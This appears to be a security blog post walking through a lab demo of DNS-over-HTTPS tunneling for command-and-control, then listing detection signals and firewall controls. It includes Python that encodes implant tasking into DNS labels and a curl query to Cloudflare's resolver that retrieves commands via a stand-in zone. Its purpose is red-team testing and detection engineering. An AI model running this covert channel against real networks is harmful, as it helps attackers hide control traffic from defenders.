Skip to content

Your C2 Is a DNS-over-HTTPS Lookup to Cloudflare and Your SIEM Does Not Care

DNS-over-HTTPS C2 Channel: DoH Tunneling Lab and Detection

Your C2 Is a DNS-over-HTTPS Lookup to Cloudflare and Your SIEM Does Not Care

port 53 is blocked. good job. the implant shrugged, opened TLS to cloudflare-dns.com, stuffed a base32 tasking blob into a DNS label, and got its next order as a TXT record. your proxy logged “browsing.” your threat hunt logged nothing. congratulations on the DoH era.

Lab only. screenshots use a synthetic lab resolver name (*.t.lab-resolver.example) and planted proxy JSON. do not point real DoH queries with encoded payloads at public resolvers as a joke. this is for authorized red-team channel testing and for detection engineers who need a concrete signal beyond “DNS is weird.”

the trick in one paragraph

classic DNS tunneling (iodine, dnscat2, dns2tcp) speaks UDP/53 or TCP/53 to an authoritative server you control. defenders finally noticed. DNS-over-HTTPS (RFC 8484) wraps the same DNS message in HTTPS to a trusted recursive resolver. the recursive then asks your authoritative zone. from the endpoint’s point of view, it is a normal browser-shaped TLS session to Cloudflare, Google, or Quad9. from your C2’s point of view, it is still DNS labels in, TXT out.

Kali terminal encoding a JSON tasking blob as a base32 DNS label under a lab resolver zone.
Step 1: encode tasking into a DNS label. keep each label under 63 bytes.

step 1: encode the tasking

task = b'{"op":"whoami","id":7}'
label = base64.b32encode(task).decode().strip('=').lower()
qname = f'{label}.t.lab-resolver.example'

base32 is friendlier than base64 in DNS (no +//). split long payloads across multiple labels or multiple queries. real malware does chunking and sequencing. our lab keeps it short so the screenshot fits.

Kali terminal issuing a DoH query via curl to cloudflare-dns.com and receiving a TXT answer with a base64 payload.
Step 2: DoH GET to Cloudflare. the Answer TXT carries the implant’s next instruction.

step 2: ask Cloudflare, get tasking

curl -sS -H 'accept: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=....t.lab-resolver.example&type=TXT'

the recursive resolver does the dirty work. your authoritative nameserver for lab-resolver.example returns a TXT with the result. the implant never speaks raw DNS on the LAN. Wireshark on the workstation sees TLS to 1.1.1.1. that is the whole joke.

Kali terminal decoding the TXT answer from base64 into a whoami result string.
Step 3: decode the TXT. in a real channel this is tasking, not a demo string.
Kali terminal hunting long high-entropy DNS labels observed over DoH in a lab proxy log.
Step 4: defender view. 40+ character labels over DoH are not how humans browse.

why defenders care

  • long / high-entropy DNS labels in DoH query names (decrypt at proxy, or log from a DoH-aware agent).
  • TXT answers with b64:, zx:, or high-entropy blobs at volume from one host.
  • DoH to public resolvers from servers that have no business resolving via Cloudflare (use your internal DNS, cowards).
  • periodic beacons: same length pattern every N minutes to the same zone.
  • authoritative logs: if you own the zone under attack research, query rate and NXDOMAIN vs NOERROR ratios tell on you.

controls that are not theater

  1. force corporate DNS. sinkhole or block outbound DoH to public resolvers at the firewall (yes, including 1.1.1.1/dns-query and dns.google).
  2. if you must allow DoH, terminate and inspect it on a proxy that logs QNAME.
  3. alert on label length and entropy baselines per user / per device.
  4. for red team: prefer your own DoH front only in scoped tests, document the resolver IPs, and tear the zone down after.
honesty check: blocking public DoH breaks some privacy tools and some legit apps. that is a product decision, not a morals lecture. if you leave DoH wide open and also claim “we have DNS security,” you are cosplaying.

sloth take

you spent a decade learning to hate port 53. attackers spent a weekend putting DNS inside HTTPS to a brand everyone trusts. the channel is not magic. the trust is. revoke the trust or learn to read DoH logs. there is no third option that involves vibes.